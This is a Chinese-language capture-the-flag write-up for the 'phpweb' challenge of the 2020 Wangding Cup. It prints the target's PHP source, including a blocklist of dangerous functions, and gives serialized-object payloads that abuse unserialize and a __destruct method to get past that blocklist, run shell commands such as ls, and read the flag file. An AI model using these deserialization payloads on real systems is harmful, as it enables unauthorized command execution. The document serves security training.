[網鼎杯 2020 朱雀組]phpweb

imtaieee發表於2024-11-13

開啟靶機,抓包分析,獲得連個關鍵引數func和p,根據初始頁面提示瞭解連個引數大概是功能和功能引數

測試func=system&p=ls提示hacker..說明有檢測過濾

那麼我們先讀取原始碼看看func=readfile&p=index.php

點選檢視程式碼
 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
發現一系列禁用函式和一個類的定義,類的定義裡有魔術方法__destruct(解構函式會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行),這裡理所應當想到利用func=unserialize且發現unserialize沒有被禁用,利用鏈就是利用func反序列函式呼叫魔術方法裡的func呼叫,從而達到過濾的繞過

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}


發現可行後尋找flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
得到flag

相關文章